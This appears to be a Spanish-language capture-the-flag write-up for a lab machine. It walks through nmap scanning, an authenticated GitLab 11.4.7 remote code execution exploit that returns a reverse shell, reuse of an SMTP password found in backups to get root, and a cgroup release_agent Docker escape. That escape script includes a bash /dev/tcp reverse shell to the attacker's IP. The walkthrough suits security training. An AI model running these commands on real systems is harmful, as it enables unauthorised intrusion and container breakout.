Ready


En esta máquina, explotamos una vulnerabilidad CVE en GitLab que nos permite ejecutar comandos. Para la escalada de privilegios, logramos escapar de un contenedor Docker que tiene la capability cap_sys_admin
June 7, 20246 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.10.220
PING 10.10.10.220 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms
--- 10.10.10.220 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.220 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.220
5 │ [*] Open ports: 22,5080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p22,5080 -sCV 10.10.10.220 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
|_http-trane-info: Problem with XML parsing of /evox/about
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 5080
Dentro del puerto 5080 hay un gitlab corriendo. Cuando entramos, nos deja crear una cuenta, así que creamos una cuenta y entramos con ella.
Una vez estamos autentificados si vamos al /help aparece la versión del gitlab: 11.4.7
Con searchsploit identificamos que es una versión vulnerable a un RCE
searchsploit gitlab 11.4.7
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Aut | ruby/webapps/49257.py
GitLab CE/EE < 16.7.2 - Password Reset | java/remote/51889.txt
------------------------------------------- ---------------------------------
Ninguno de estos exploits me funciono así que vamos a usar otro que encontré por github
git clone https://github.com/dotPY-hax/gitlab_RCE
cd gitlab_RCE
python3 gitlab_rce.py http://10.10.10.220:5080 10.10.14.32
Gitlab Exploit by dotPY [insert fancy ascii art]
registering LonNmLDZ17:5FPfA5fANt - 200
Getting version of http://10.10.10.220:5080 - 200
The Version seems to be 11.4.7! Choose wisely
delete user LonNmLDZ17 - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 0
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
registering SrqNdC0XFY:XDdWDl100T - 200
hacking in progress - 200
delete user SrqNdC0XFY - 200
Durante la ejecución nos pide que nos pongamos en escucha por un puerto con nc (nc -nlvp 42069
)
Una vez terminado el script, recibimos la reverse shell.
Escalada de privilegios
Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último, si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Después de una búsqueda por el sistema, encontramos una carpeta dentro del /opt llamada backups, la cual llama la atención
git@gitlab:/opt$ ls
backup gitlab
Dentro de backup, hacemos un cat a todos los archivos y filtramos por información relevante como por ejemplo password
git@gitlab:/opt/backup$ cat * | grep password
gitlab_rails['initial_root_password']=File.read('/root_pass')
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59......"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
Entre toda la información reportada, vemos una contraseña: wW59……
La cual nos sirve para el usuario root
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup#
Con un ls -l al la raiz, identificamos que estamos dentro de un contenedor docker, ya que hay un .dockerenv
root@gitlab:/opt/backup# ls -la /
total 100
drwxr-xr-x 1 root root 4096 Apr 5 2022 .
drwxr-xr-x 1 root root 4096 Apr 5 2022 ..
-rwxr-xr-x 1 root root 0 Apr 5 2022 .dockerenv
Empezamos enumerando las capabilites del contenedor, con
root@gitlab:/opt/backup# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Entre todas las capabilities reportadas encontramos la cap_sys_admin
El hecho de que exista esta capability nos permite salir del docker, de la siguiente forma
Nos ponemos en escucha por el puerto 444
nc -nlvp 444
Ejecutamos todo esto en la máquina víctima
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo " bash -i >& /dev/tcp/10.10.14.32/444 0>&1> $host_path/output" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Nos llega la reverse shell!!!